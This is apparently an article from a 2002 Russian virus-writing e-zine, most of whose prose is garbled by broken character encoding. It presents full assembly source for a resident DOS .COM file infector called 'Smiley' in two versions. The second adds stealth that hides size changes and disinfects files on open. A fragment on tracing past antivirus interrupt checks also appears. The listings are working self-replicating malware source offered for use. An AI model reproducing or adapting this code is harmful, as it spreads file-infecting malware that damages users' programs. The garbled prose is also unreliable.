
                      -=POWER HEAP RESEARCH=-
          =>ᨬ p y ᫥<=

              
                                          
                                  
                                          
                         

                            
                                    
                         
                                       
                             
                       Helloween.virus@mail.ru
                    http://www.helloween.boom.ru
                      http://www.rezus.boom.ru

                        [H  ]

                    Ŀ
                    Hp 5  2002  (p 10)
                    


      १⮬ ⮡    ॠ஢?

   㦥 ᫮, ⠪  ࠧ   ᯮ  ࠧ
孮 । 㬥襭 ᢮ .    -
室  ᯮ짮 UMB,   뫮 ᠭ .  -
⮬  設⢮  ஢     ஢-
 ( ⮭ 誠:).   ਭ樯 襭 -
 ᯮ짮 EMS  XMS,   ⥫쭮   ७
.  ஡  ᠭ  Infected Moscow #1.  ᭮-
   ⮬,  設⢮ ஢  ஥ ண-
 祭   ,  ਬ,  20h  ࠣ䮢  (512
),  㬥襭   ண      ॠ.  
 ᫨ , ⨬, 300 ,  4 ঠ   ७
  㦠  砥 室,        맮
㯠   .  ⨬  ਠ⮬    ᯮ짮
ᯮ㥬 ⪮  .  ⠪ ⭮   ⠡-
 ஢ 뢠     㧪.  ଠ  IBM  ᤥ
让 ப 孮ᠬ, १ࢨ஢    ஢  
᪫⥫쭮  㦤. -, ன Interrupt List   -
,  int 81h-EFh १ࢨ஢   -
  㣨 ணࠬ   ᯮ.   楫 440 . 
(  ᪮)  㬥 让 ᮪ .  ன
㯮⮩     㧪.  256  
 0000:0600h  0000:0700h ( ᫨  㣮  0060:0000-0070:0000
:) 㤠 㦠 MBR  祭    
 ᯮ.    ९⢨    ᪨
 DrWeb' ஡  ⮬,    믮  -
஢ 뢠,  ᫨    ,    
    砫,   ,    .  ᫨,  ਬ,
⠢ १   襯ਢ ਬ   
 ࠡ稪 int 21h,   ࠧ 㦨 web.   ?
 ⮣ 筮 ᤥ ⠪, ⮡       蠣
०  襫. ? ୮.   ⠢      
᪠ -  ᭮      ࠭,  ன  -
  ᢮ ⥩,  ⥪ 室    蠣-
 ०  ᮢ뢠  ॠ ࠡ稪 뢠, ⥬
ᠬ     ᭮ .  ଥ  -
 室  蠣 ०    直  ᮢ
 䫠, ஬  稬,   㯠  - ७-
  int 1,   ᫨ 祭 蠣 p,    ࠧ
믮  楤.   쪨      祪
 :-)

         0000:0600: 6650                push eax
         0000:0602: 66B828060000        mov eax,00000628
         0000:0608: 662E87060400        xchg dword ptr cs:[0004],eax
         0000:060E: 662E87060400        xchg dword ptr cs:[0004],eax
         0000:0614: 6658                pop eax
         0000:0616: EB0B                jmp short 0623
         0000:0618: 2EC60617060B        mov byte ptr cs:[0617],0B
         0000:061E: EA01010101          jmp 0101:0101
         0000:0623: EA02020202          jmp 0202:0202
         0000:0628: 2EC606170600        mov byte ptr cs:[0617],00
         0000:062E: CF                  iret

  ⥯ 筮 ᪮஢  47     0000:0600,
⠭  int 21h  砫,   061F (  -
 01010101)   ண ࠡ稪,    0624
( 02020202) ⠢  ᭮ ࠡ稪  뢠-
. !  . 直 稥 ⨢ ᪠  ⠪-
  .    ,  ᨤ   ⮬  
᭮? ,  -     ⠩  祭
⮣   ?  祣!    訬  ᯥ宬  -
  ஢   㣮 . ? ,  ਬ,  -
  ᠬ ࢮ environment'  comman.com      -
- १⭮ ணࠬ.       ࠢ  ࠭
猪 㤠 ⨯ Path, Comspec, Prompt,  ணࠬ,  
 ᯮ,  ணࠬ 㦥 १⭠.    -
㥬  १! ᯥਬ  ⮬     ⠢
  ᠬ⥫쭮 祭,      殢 -
 - ᠬ ;)

               १⮬    ?

  ⠪, ᬮਬ ,  ࠦ ணࠬ ᪠-
.  ணࠬ     室  ⥬  -
 ⥬  १,  ணࠬ 뤥 ࠣ    -
⠢ :


            0000 Ŀ
                     DOS     
                 Ĵ
                  Resident 1 
                 Ĵ
                  Resident 2 
                 Ĵ
                  Resident 3 
                 Ĵ
                  Program    
                             
                             
                             
                             
                             
                             
            A000 


         ᯮ,   ⠥ १⮬   -
         㬥蠥    㥬 ⥫   :


            0000 Ŀ
                     DOS     
                 Ĵ
                  Resident 1 
                 Ĵ
                  Resident 2 
                 Ĵ
                  Resident 3 
                 Ĵ
                  Program    
                             
                             
                             
                             
                 Ĵ
                    Virus    
            A000 

  㤨⥫쭮,   ⠪ ᪫    祭  ⥭  
.   砥  ⮬, ⮡    浪  
१⠬,  ᯮ⨢ ᠬ ணࠬ:

            0000 Ŀ
                     DOS     
                 Ĵ
                  Resident 1 
                 Ĵ
                  Resident 2 
                 Ĵ
                  Resident 3 
                 Ĵ
                    Virus    
                 Ĵ
                   Program   
                             
                             
                             
                             
            A000 

   ⮣   宦 ᯮᮡ,      ⮤
ࠦ ணࠬ. ᫨    ਯ뢠  ᥡ    砫
ணࠬ,   㧪 ࠦ ணࠬ     㦥
室  㦭    ᫥ ⮫쪮 ந  㦥-
 ணࠬ ⠪   㦥 ⤥쭮.      ᤥ-
  ⥬ ᪨ ᮢ  , PSP   稬
ﬨ,   ᤥ  - ୮     ண-
ࠬ. -  㦥 १⥭, ⮬    
뫥 ᭮ ணࠬ  ।  ࠢ.   -
⮨  ᫨  뢠    ।.    -
.   뫠 ᥡ  㦭   ।  -
ࠢ ,  ᨤ ⠬  , ᢮   -
᮪:

            0000 Ŀ
                     DOS     
                 Ĵ
                  Resident 1 
                 Ĵ
                  Resident 2 
                 Ĵ
                  Resident 3 
                 Ĵ
                    Virus  Ŀ
                 Ĵ 
                              
                              
                              
                 Ĵ 
                    Virus  
            A000 

        , ,  﫨 .  㦥  
        楤 १⭮  襬 ७쪮 Smiley.
          :)   Smiley.LowMem:

        , ,  ᭮ ᫮  ⮨  ࠢ쭮
        ᪥  饭 ணࠬ  ।  ࠬ஢
          .

        .model tiny
        .386
        .code
        .startup
        org 100h

        _real   equ _end - _beg                 ; ࠧ 
        _size   equ (_real+100h+15+64+16+256)/16
                                        ; ࠧ   ࠣ
                                        ; 64   १ࢨ㥬  
                                        ; ணࠬ, 16   Exec
                                        ;  256  ᮡ⢥ ⥪.
                                        ;    100h ⮬  ।
                                        ; ᠬ ᮬ ⠥ .

_beg:
        mov ax,1E03h    ; ᠬ   ஢塞 ᮡ⢥
        int 21h         ; १⭮.
        cmp ax,031Eh
        jz _Already
;
;        ᪠ .   १⮬.
;         । ᪨  㦥  ணࠬ. RTFM.
;
        mov ds,ds:[2Ch]
        xor si,si
@l2:    lodsb
        or al,[si]
        jnz @l2
        lodsb
        lodsw
        mov cl,32
        lea di,_ProgName
        rep movsw

        lea di,_ExecParam
        xchg ax,cx              ; cx=0 ᫥ rep.  ⠪  xchg ax,cx
        stosw                   ;  1 ,  xor ax,ax - 2, 
                                ; 祢  :)
        push cs
        pop ds

        ;   ⮬ ࠣ  塞  Exec, 室
        ;  ᪠ ணࠬ.   祬 ?  ।
        ;  ࠬ ᭮ ணࠬ  뫪  .

        mov ax,80h
        stosw
        mov ax,cs
        stosw
        mov ax,5Ch
        stosw
        mov ax,cs
        stosw           ; ,  ᮧ    
        mov ax,6Ch      ; ୮ ᪠ ணࠬ.
        stosw           ;    ᮡ⢥ ᮭ.
        mov ax,cs
        stosw

        mov sp,_Stack   ;  㦭 १ࢨ஢ ᮡ⢥ ⥪,
                        ; ⠪  ⥪ ணࠬ ࠥ.
                        ;  ⥫쭮 ᥣ ࠡ  ᢮ ⥪.

        mov bx,_size    ; १  ᥡ 㦭 墮  
        mov ah,4Ah      ; ⠢  :)
        int 21h

        push 0          ; ⥯ 墠뢠 뢠.
        pop ds
        mov ax,_int21
        mov bx,cs
        xchg ax,ds:[84h]
        xchg bx,ds:[86h]
        push cs
        pop ds
        mov ds:_go21o,ax
        mov ds:_go21s,bx

        lea dx, _ProgName
        lea bx, _ExecParam
        mov ax,4B00h            ; ᪠ ணࠬ. - 
        int 21h                 ; ᤥ   ஬ , 
                                ;  .

        mov ax,cs               ; ணࠬ 訫. ⠭ ⥪.
        mov ss,ax
        lea sp,_stack

        mov ah,4Dh      ;  㦭  - ࠭  .
        int 21h

        mov ah,31h
        mov dx,_size
        int 21h

_Already:           ;  室  砥 १⭮ .
                    ;   뫥 ணࠬ  ।  ࠢ.
        mov si,0FDh
        mov word ptr ds:[si],0A5F3h
        mov byte ptr ds:[si+2],0C3h

        mov di,100h     ; ⠫  ⥪  ᪠ ணࠬ.
        push di

        push si         ;  稫.  믮  rep movsw/retn
                        ;   ᮢ 祬 㦥 retn, ⮣
                        ;  ᫥騩    砫 ணࠬ.
                        ;   ⮬      
                        ;  믮 ᮢᥬ   ⨪ :)

        mov si, _end
        mov cx,32000
        retn

;----------------        -----------

_check:
        xchg ah,al
        iret

_int21:
        cmp ax,1E03h    ; ஢ઠ  १⭮.
        jz _check
        cmp ah,4Bh      ; ࠦ  ᪥
        jnz _go
        cld
        pusha
        push es
        push ds
        mov cx,256
        xor al,al
        mov di,dx
        push ds
        pop es
        repnz scasb
        jnz _noinfect
        mov si,di               ; COMMAND.COM ࠦ 
        sub si,12
        lodsd
        and eax,0DFDFDFDFh      ; ਢ   㪢
        cmp eax,'MMOC'
        jnz _infect
        lodsw
        and ax,0DFDFh
        cmp ax,'NA'
        jz _noinfect
_infect:
        mov ah,48h      ; 뤥塞  ᢮ 㦤 64 
        mov bx,4096
        int 21h
        mov es,ax
        jnc _inf1
        mov ah,49h
        int 21h
        jmp short _noinfect
_inf1:
        mov ax,3D02h
        int 21h
        jc _noinf2
        xchg ax,bx
        push es
        pop ds
        xor dx,dx
        mov cx,-1
        mov ah,3Fh
        int 21h
        cmp word ptr ds:[0],'MZ'        ; EXE ⮦  ࠦ.
        jz _noinf
        cmp word ptr ds:[0],'ZM'
        jz _noinf
        cmp word ptr ds:[_sig - _beg],'):'      ; ஢ઠ  ࠦ
        jz _noinf
        cmp ax,64000
        jnc _noinf
        push ax
        push ds

        xor cx,cx
        xor dx,dx
        mov ax,4200h
        int 21h
        mov cx,_real    ; 뢠 .
        push cs
        pop ds
        mov dx,100h
        mov ah,40h
        int 21h
        pop ds
        pop cx
        xor dx,dx       ; 뢠 ணࠬ
        mov ah,40h      ; ,   ࠭塞 ਡ⮢  
        int 21h         ; 䠩,    . ஬ ⮣,
                        ; ⥫쭮 墠뢠 int 24 
                        ; 襭 ᪨ 訡 (ਬ,
                        ;   ᪥  ⮩  )
_noinf: mov ah,3Eh
        int 21h
_noinf2:
        mov ah,49h      ; ᢮ 
        int 21h
_noinfect:
        pop ds
        pop es
        popa
_go:
        byte 0EAh       ;  JMP FAR
_go21o  dw 0
_go21s  dw 0
_sig    byte ':)'

_end:

_ExecParam:                                     ;    .
_ProgName       equ _ExecParam +16              ;   ᪠ 
_Stack          equ _ExecParam +16+64+254       ; ࠦ .

        mov dx,_msg-_end+100h
        mov ah,9
        int 21h
        mov ax,4c00h
        int 21h
_msg    db ' Smiley.LowMem ⮢',13,10,36

end


        墠 뢠 ⮡   ॠ஢?

   㦥 ਢ쭠 , ⠪  -⠪ ࠧ  -
 ᯮ ࠧ ⮤ ஢ப. ᭮ ⮤ - -
 ⥪饣   ஢ઠ  ᫥ ᪠  ।
ணࠬ.  ࠧ, ᫨  ࠦ ணࠬ, 
       ࠧ .    -
  ⮩ ஡? 祢  㦭 墠  뢠-
 ⠪, ⮡  뫮 墠祭,   ࢮ  ࠡ-
  .   ᤥ?  ⮣  筮  
 ᪮쪮  ࠡ稪 뢠   ᮡ⢥  -
,  ⮬  । ࠢ  ⨪ ⠭.

   ᪨:

      - ᤥ ⠪, ⮡   ࠡ稪  -
  । 楯窨 ࠡ稪. ਬ, ᫨   
᪮쪮 १⮢,  墠뢠 뢠 int 21h:


Ŀ   Ŀ   Ŀ   Ŀ
 ࠡ稪 1 Ĵ ࠡ稪 2 Ĵ ࠡ稪 3 Ĵ  DOS  
         

     ᤥ ⠪, ⮡  뢠 ᫥ ⮣,  
ࠡ⠥   :

Ŀ   Ŀ   Ŀ   Ŀ
 ࠡ稪 1 ÿ ڴ ࠡ稪 2 Ĵ ࠡ稪 3 Ĵ  DOS  
ٳ       
                 
             Ŀ
            Ŀ
             Virus 
             

  । 宩   ࠨ  ᫥  -
  ࠡ  ࠡ稪. 祬? ⮬      
 ࠡ稪   ᠬ , 騩 直  -
  ।᪠㥬 ஢ન.

Ŀ   Ŀ   Ŀ   Ŀ
 ࠡ稪 1 Ĵ ࠡ稪 2 Ĵ ࠡ稪 3 ÿ ڴ  DOS  
      ٳ 
                                                       
                                                   Ŀ
                                                  Ŀ
                                                   Virus 
                                                   
  ⠪,    , , ॡ?      ᫥
室 믮 맮,   , 㤠  뢠  ᠬ
 ⥬.       㧨  ⫠稪,  -
 諨  ᥬ ࠡ稪  諨  DOS.   ᤥ 
? 祭  -       ०  蠣
믮,  ஬ ᫥   뢠 int 1.  
⮫쪮 ⠥ 墠 int 1,  蠣 ०,  -
। ࠢ ࠡ稪 뢠  ன  蠣 p-
  ᠬ     ᪮쪮       
JMP FAR.   ࠧ ᪮쪮 砭:

  1)  int XX 뢠 䫠 蠣 ०, ⮬  
襬 ࠮稪 室 ஢  맮 뢠   -
஢    ⠡ ஢.

  2)  ᫥饩 樨 ࠢ      int
1 ࠭  ⥪. ⮡   ᫥饩    
    -     樨 int.

  3) ⮡ । ⭮  믮塞       
  ஢   - DOS 室    0070  
FFFF (HMA).  ஬ ⮣  ஢   ஢મ  
 ⥪騩 ᥣ  ࢮ  MCB.     ࢮ  
MCB  㧭 १ int 21/ah=52h

  ⠪,  諨  楯窥 ࠡ稪  ⠢  FAR  JMP
 INT xx (ᯮ㥬 뢠)      (
⨪ ࠭  뫨?;).  ந  맮  뢠-
   ৪  ᤥ ᢮ ᪨ ࢥન  ࠢ-
 । 襬 ,     ᢮ ⥬ -
誨. :

  1) ᫨  ᨤ  int 21    ࠡ   -
 뢠 騩 int 21.  ⠬     :(    ⮣
祢   ᠬ 砫 襣 ࠡ稪 ⠭  
⮢ ⨪.

  2) ᫨   ࠡ  뢠 뢠,    
  ࠧ    - ⠪ ࠧ  塞  
᪠,   맮 㤨 १ ,  㥬 -
  ᫨  맮 娢 १    ਢ
ࠩ.  筮 ⮣ ᭮ ࠡ -  ஡ -
 ࠩ  ,    ᬥ     :)

  3) ᫥ ⮣   ࠡ⠫   ।  ࠢ-
 .   ᫨  । ࠢ  室묨 -
⨪,     맮   㣮 ஭  
  ࠭ 맮  ᨬ ᥡ   墮.  襭
 - ⠭ 室 , 砥  蠣  -
  室  -   蠣 ० ( 
멤    ),    ⮬    ⠢塞  ᢮  JMP.
⠥ ⪫  ०  믮 ࠡ    -
 ᪮.

   ,  믮  室    楯窥  ᫮  
। ᤥ ஬筮 - ⠢ JMP  ࢮ  -
ࠡ稪     ᫮      맮  int,
஢મ   ..   室 ॢ  ࠡ稪 -
 ⠢.

  ᠭ 뢠 ᨭ.   ⮫쪮  .  -
窠   ᮡ 㦭,   殮,    த
㦥  ⮢   ᮪   IV1  IV7.


                      -.

  ⠪,   ⠪ ⥫  -?  ⠪  ,
  ⨢ 뢠 ᢮  ⢨    ࠦ
䠩.   ?  墠뢠  㭪樨  ࠡ
 䠩  ᫨  믮  ࠦ  䠩,  
 ⠢  ࠦ 䠩 뫥祭.  
  ࠩ   ᯮᮡ -   ,    
  饭  䠩 ந 祭 ᪠   
 .   뫥 ணࠬ    ६
䠩  ࠡ  . ஬ ⮣,  㤥 뢠    ⮫쪮
 㭪樨 ࠡ  䠩,    㭪樨 ⥭ ⠫  -
⠬  ࠭  , ⠪   ॠ    䠩
⮦ ਤ :)  - ⠫ .  ᮡ⢥   -
७쪨 Smiley,    室묨  ﬨ,    
⥫ᮬ, ᯮ ன ᯮᮡ.

        .model tiny
        .386
        .code
        .startup
        org 100h

        _real   equ _end - _beg         ;  ࠧ 
        _size   equ (_real+15+18)/16    ;  ࠧ   ࠣ
                                   ; 18  १ࢨ㥬  ६ 䠩
_beg:
        mov ax,cs
        dec ax
        mov ds,ax
        mov bx,ds:[3]
        sub bx,_size+1
        mov ah,4ah
        int 21h
        mov bx,_size
        mov ah,48h
        int 21h

        push cs
        pop ds
        sub ax,10h
        mov es,ax
        mov di,100h
        mov si,di
        push cs
        push di
        mov cx,_real
        rep movsb
        push es         ;  । ࠢ १⭮
        push _res       ; .
        retf

_res:
        pop di
        push di
        mov cx,32000
        push ds
        pop es
        rep movsw
        mov ax,1E03h
        int 21h
        cmp ax,031Eh
        jz _no
        mov ds,cx
        mov ax,_int21
        mov bx,cs
        xchg ax,ds:[84h]
        xchg bx,ds:[86h]
        push cs
        pop ds
        mov ds:_go21o,ax
        mov ds:_go21s,bx
        mov word ptr ds:[0F1h],8
        mov _hnd,4141h
_no:
        push es
        pop ds
        retf
_check:
        xchg ah,al
        iret

_int21:                 ; ᮡ⢥  ࠡ稪 int 21
        cmp ax,1E03h    ; ஢ઠ  १⭮
        jz _check
        cmp ah,3Dh      ; ᫨ ஢   室, 
        jz _Open        ;   㤥 ⥫ᮬ  ஢ ⥭ 
        cmp ah,3Eh      ; 䠩
        jz _Close

        cmp ah,4Fh      ;  ᫨ ஢ ,   
        jz _Search      ; 㤥 ⥫ᮬ  ஢ ᪠  ⠫
        cmp ah,4Eh      ; 筮, ࠢ? ;)
        jz _Search

        cmp ah,4Bh      ; ࠦ 䠫  ᪥
        jnz _go

        cld
        pusha
        push es
        push ds

        mov cx,256
        xor al,al
        mov di,dx
        push ds
        pop es
        repnz scasb
        jnz _noinfect
        mov si,di               ; ஢塞 ⮡  ࠧ COMMAND.COM
        sub si,12
        lodsd
        and eax,0DFDFDFDFh      ; ਢ  孥 ॣ.
        cmp eax,'MMOC'
        jnz _infect
        lodsw
        and ax,0DFDFh
        cmp ax,'NA'
        jz _noinfect
_infect:
        mov ah,48h              ;  ⮣ ⮡ ࠧ 䠩 ⠥ 
        mov bx,4096             ;   , 뢠  砫
        call _OldInt            ;   뢠 ᠬ 䠩
        mov es,ax               ;  ⮣ ᯮᮡ  २⢮ -
        jnc _inf1               ;    jmp' :)
        mov ah,49h
        call _OldInt
        jmp short _noinfect
_inf1:
        mov ax,3D02h
        call _OldInt
        jc _noinf2
        xchg ax,bx
        push es
        pop ds
        xor dx,dx
        mov cx,-1
        mov ah,3Fh
        call _OldInt
        cmp word ptr ds:[0],'MZ'        ; 譨  ࠦ
        jz _noinf
        cmp word ptr ds:[0],'ZM'
        jz _noinf
        cmp word ptr ds:[_sig - _beg],'):'
        jz _noinf
        cmp ax,64000                    ; ᫨誮  ⮦.
        jnc _noinf
        push ax
        push ds

        xor cx,cx
        xor dx,dx
        mov ax,4200h
        call _OldInt
        mov cx,_real
        push cs
        pop ds
        mov dx,100h
        mov ah,40h
        call _OldInt
        pop ds
        pop cx
        xor dx,dx
        mov ah,40h
        call _OldInt
_noinf:
        mov ah,3Eh
        call _OldInt
_noinf2:
        mov ah,49h
        call _OldInt
_noinfect:
        pop ds
        pop es
        popa

_go:
        byte 0EAh       ;  JMP FAR
_go21o  dw 0
_go21s  dw 0

_Search:                ; 楤   ० FindFirst/FindNext
        call _OldInt
        jc _exit
        pushf
        pusha
        push es
        push ds

        mov ah,2Fh      ; 砥  DTA
        int 21h
        push bx

        push es
        pop ds
        lea dx,[bx+1Eh] ;  䠩.
        mov ax,3D00h    ; ! ᫨   ᪠  㣮
        xor cx,cx       ; ⠫,    㤥 , ⠪
                        ;   䠩  뢠  ⥪饬.
                        ;   譮  饣 , 
                        ;  ࠢ쭮 ॠ樨 室 
                        ;   맮 FindFirst  ᮥ 
                        ; 䠩  .  ஢ન  
                        ; dir [㣮 ] -  뢥 䠩 
                        ; ४樨 .

        call _OldInt
        jc _s3
        xchg ax,bx
        call _SeekSig           ; ஢塞 ᨣ
        jnz _s2
        pop bx
        push bx                         ; ᫨  ࠦ 䠩, 
        sub word ptr es:[bx+1Ah],_real  ; ४㥬  䠩
_s2:
        mov ah,3Eh
        call _Oldint
_s3:
        pop bx
        pop ds
        pop es
        popa
        popf

_exit:  retf 2

_SeekSig:                       ; 楤 ஢ન ᨣ.
        lea dx,_sig - _beg      ;  ⭮? ;)
        xor cx,cx
        mov ax,4200h
        call _Oldint
        jc _ss1
        push cs
        pop ds
        mov ah,3Fh
        lea dx,tmp
        mov cx,2
        call _Oldint
        byte 0B8h       ; mov ax, ... - 祭 ⠥ אַ  䠩
        tmp word 0
_ss1:
        cmp ax,'):'
        retn

_Open:                  ; ⥫  ⥭.  筮  ன.
        call _oldInt
        jc _exit

        pushf
        pusha
        push ds

        xchg ax,bx
        call _SeekSig
        jnz _o1

        lea dx,path     ; 㥬 砩  䠩  'c:\'
        mov di,dx
        push es
        push cs
        pop es
        cld
        mov eax,'\:C'
        stosd
        mov cx,7
        xor ax,ax
        rep stosw
        pop es

        mov ah,5Ah
        call _oldInt
        mov _hnd,ax
        xchg si,ax      ; ⥯ path ᮤন ,  si  ਯ

        push 0
        pop ds
        mov dx,600h     ; ᯮ㥬 100h   0000:0600  ⢥
_o3:    mov cx,256      ;   - 㥬 ࠦ 䠩 
        mov ah,3Fh      ;   ६.
        call _oldInt
        test ax,ax      ;   ,      䠩
        jz _o4
        xchg ax,cx
        xchg si,bx
        mov ah,40h
        call _oldInt
        xchg bx,si
        jmp _o3
_o4:
        mov ah,3Eh      ; ஥ ࠦ 䠩
        int 21h
        xchg bx,si      ; ⠭ 㪠⥫  0  頥
        call _SeekZero  ; ਯ ६

        pop ds
        popa
        popf
        mov ax,cs:_hnd
        retf 2

_o1:    call _SeekZero  ;   ࠦ 䠩 - 祣  
        pop ds
        popa
        popf
        retf 2

_SeekZero:              ; 楤 ⭠ 㪠⥫  0
        xor cx,cx
        mov ax,4200h
        cwd
        call _Oldint
        retn

_Close:                         ; ⨥ 䠩.
        byte 81h,0FBh   ; cmp bx,_hnd
        _hnd    dw 4141h

        jnz _go         ; !  ਬ  㤥 ࠢ쭮
        call _OldInt    ; ࠡ ᫨ ६  
        jc _c2          ; ࠦ 䠩.  ࠡ祩 ᨨ
        pushf           ; 室 ࠭ ᪨ ᯨ᮪
        pusha           ;  䠩.
        push ds
        lea dx,path
        push cs
        pop ds
        mov ah,41h      ; 㤠塞 ६ 䠩.
        mov _hnd,ax
        xor cx,cx
        call _OldInt
        pop ds
        popa
        popf
_c2:
        retf 2

_OldInt:                ; 楤 맮 ண ࠡ稪
        pushf
        call dword ptr cs:_go21o
        retn


_sig    byte ':)'       ;  ࠦ.

path:                   ;  㤥 ࠭   ६ 䠩

_end:
        mov dx,_msg- _end+100h
        mov ah,9
        int 21h
        mov ax,4c00h
        int 21h
_msg    db ' ⮢',13,10,36

end

        ࠧ   ᪮쪮 ⪮ ⮣ :

        1)  ࠭   ਡ⮢
        2)  墠뢠 ᪨ 訡 int 24
        3)   뢠 ᪮쪮 ࠦ 䠩
        4)  뢠 ᢮ ⢨  
        5)  ᮤন ⨮⫠  ᪨ ਥ.
        6)  ⥫஢  ⥫ 㭪樨 FCB 
           ७ ⨥ (ax=6C00).
        7)  ⥭ ⠫ ⥫ 䠩 ⮫쪮
            ⥪饬 ⠫.

     ⥬   ᬮ   ⪮  ४ ࠡ⠥ :)

  , ,   ᪠  ⮢ ⥫.   ୮  㦥
 :)   ⮬,   ⥭ ࠦ    
⠢ 室 ,   ⥭ ᥪ     ࠭
᢮ ⥫  頥 㫨,   뢠     ᥪ  
 :) ᮢ  ⮢ ⥫  ,  ⠬   -
 50 , ᠬ ࠢ ;)

  P.S.     ⥫-⥫,   筮  祣  -
 ⥫쭮  ⮬  .   ஭   筮
,    F3  祣  ,    㣮
 -    㣠,     -
᭨ 뢠 -    ᮤন  ⮢  ࠡᯮᮡ
楤 祭.

                                              AK